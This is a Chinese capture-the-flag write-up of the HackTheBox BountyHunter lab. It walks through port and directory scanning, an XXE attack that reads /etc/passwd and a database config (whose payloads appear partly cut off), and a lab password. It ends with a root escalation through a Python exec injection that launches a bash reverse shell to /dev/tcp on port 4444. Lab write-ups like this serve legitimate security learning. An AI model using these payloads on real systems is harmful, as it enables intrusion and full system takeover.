HackTheBox-BountyHunter靶场通关记录

文章目录

  • HackTheBox-BountyHunter靶场
    • 准备工作
    • 信息搜集
    • 漏洞利用
    • 提权

HackTheBox-BountyHunter靶场

准备工作

  • 打开hackthebox并找到bountyhunter靶场,关注并获取到IP地址
  • 在hackthebox中下载
  • Kali虚拟机,并运行指定的

信息搜集

我拿到的IP地址为:10.10.11.100

HackTheBox-BountyHunter靶场通关记录_第1张图片

  • 使用nmap进行端口扫描,看看开放了哪些端口。sudo nmap -Pn -sS -p- 10.10.11.100

    HackTheBox-BountyHunter靶场通关记录_第2张图片

  • 可以看到开放了22端口和80端口。22端口可以用于ssh连接,但是目前没有账号和密码;80端口直接可以直接访问
    HackTheBox-BountyHunter靶场通关记录_第3张图片

  • 挖洞!大概过一遍网页的功能后,发现有三个地方比较可疑

  • 第一是页面往下翻,有一个按钮叫“Download our pricing guide”,从名字上来看是个下载文件的按钮,因此可能存在任意文件下载的漏洞,但是点了却没反应,跳过。

    HackTheBox-BountyHunter靶场通关记录_第4张图片

  • 继续往下翻有一张表单,可能存在XSS注入。如果调用后台接口则可能存在更多的漏洞。但是输入数据或者点击按钮都没有反应,也没看到请求,因此跳过

    HackTheBox-BountyHunter靶场通关记录_第5张图片

  • 最后一个则是点击顶部导航栏中的PORTAL选项,然后点击here会进入到一个页面,同样存在表单(同时可以发现这是个php的站,通常启动php项目会采用apache2服务,而apache2存放项目的路径默认为/var/www/html)

    HackTheBox-BountyHunter靶场通关记录_第6张图片

    HackTheBox-BountyHunter靶场通关记录_第7张图片
    HackTheBox-BountyHunter靶场通关记录_第8张图片

  • 正常操作一遍
    HackTheBox-BountyHunter靶场通关记录_第9张图片

    • 它将我们输入的内容展示在了下边,同时burp也拦截到了请求

      HackTheBox-BountyHunter靶场通关记录_第10张图片

    • 那个data参数非常可疑,看起来像是加密的数据,猜测是Base64,因此尝试解密

      HackTheBox-BountyHunter靶场通关记录_第11张图片

    • 发现是前端输入的参数,以xml的格式传入后台,因此非常有可能存在XXE漏洞,放入payload:]>,并在下方对该内容进行输出&xxe;。然后使用Base64加密后发包

      HackTheBox-BountyHunter靶场通关记录_第12张图片
      HackTheBox-BountyHunter靶场通关记录_第13张图片

    • 读取到了passwd文件的内容,因此此处确实存在XXE漏洞。并且根据内容分析,有一个叫做development的账号后边的数字大于1000(通常大于1000的是手动创建的用户账号),因此也做一个记录

  1. 使用dirb扫描目录,看看有哪些文件。sudo dirb http://10.10.11.100(dirb命令默认使用的是/usr/share/dirb/worklists/common.txt字典)

    HackTheBox-BountyHunter靶场通关记录_第14张图片

    • 除去一些assets、css、js文件夹之外,还有一个叫做resources的文件夹,打开浏览器访问一下
      HackTheBox-BountyHunter靶场通关记录_第15张图片

    • 里边有一个可疑的README.txt文件,打开看看

      HackTheBox-BountyHunter靶场通关记录_第16张图片

    • 使用wfuzz扫描文件,看看有没有一些可以读的配置。sudo wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 "http://10.10.11.100/FUZZ.php"

    HackTheBox-BountyHunter靶场通关记录_第17张图片

    可以看到除了index、portal之外还有一个叫做db的文件。根据命名判断这是个和数据库配置有关的文件。

    总结

    HackTheBox-BountyHunter靶场通关记录_第18张图片

漏洞利用

在上一步中,搜集了一些信息,比如疑似配置文件的db.php和一些漏洞。在这一步就要尝试使用已知的漏洞对系统发起攻击

  • 使用XXE漏洞尝试读取db.php(读取时对该文件进行加密)]>

    HackTheBox-BountyHunter靶场通关记录_第19张图片

    对结果进行Base64解密

    HackTheBox-BountyHunter靶场通关记录_第20张图片

    结果疑似数据库的配置文件,并且包含一个密码:m19RoAU0hP41A1sTsq6K

    尝试用该密码连接shell

    HackTheBox-BountyHunter靶场通关记录_第21张图片

    龟龟!真连上了,牛批

提权

  • 尝试sudo -l命令来查看可以development可以使用sudo命令操作的内容:

    HackTheBox-BountyHunter靶场通关记录_第22张图片

  • 发现可以执行python和一个python文件,打开查看该python文件:

    HackTheBox-BountyHunter靶场通关记录_第23张图片

  • 大概来讲这个文件是通过读取一个markdown文件,并配置一系列的规则,符合这些规则的话便可以执行一个字符串表达式(通过exec函数)。在这个表达式我们可以通过嵌入一个python代码来执行root命令,但是我们并不能通过命令行来获取到root账号的密码,需要想办法通过命令行来打开账号为root的命令窗口,而exec函数并不能打开这样的命令窗口,它只是返回了表达式的值…

  • 综上所述,这里需要做的是:

    1. 创建markdown文件

      HackTheBox-BountyHunter靶场通关记录_第24张图片

    2. 写入符合规则的内容来使代码走到exec函数的位置

      # Skytrain Inc
      ## Ticket to 
      __Ticket Code:__
      **1404 + 10 == 1414 and __import__('os').system("bash -c 'exec bash -i >& /dev/tcp/10.10.11.100/4444 0>&1'") == False
      
    3. 然后通过构建一段命令来打开拥有root权限的命令窗口(详见上述代码)。ip地址需要替换成自己在hackthebox上申请的靶场ip

    4. 使用反弹shell来打开一个新的、拥有root账号的shell窗口

      打开新的shell窗口,并使用nc命令监听端口

      HackTheBox-BountyHunter靶场通关记录_第25张图片

  • 准备完毕后,使用命令sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py运行python程序,并输入markdown的文件名,然后在反弹shell的窗口中便可看到拥有root权限的命令行

    HackTheBox-BountyHunter靶场通关记录_第26张图片

  • 至此,提权完成,write out!

你可能感兴趣的:(信息安全,漏洞原理,打靶记录,安全)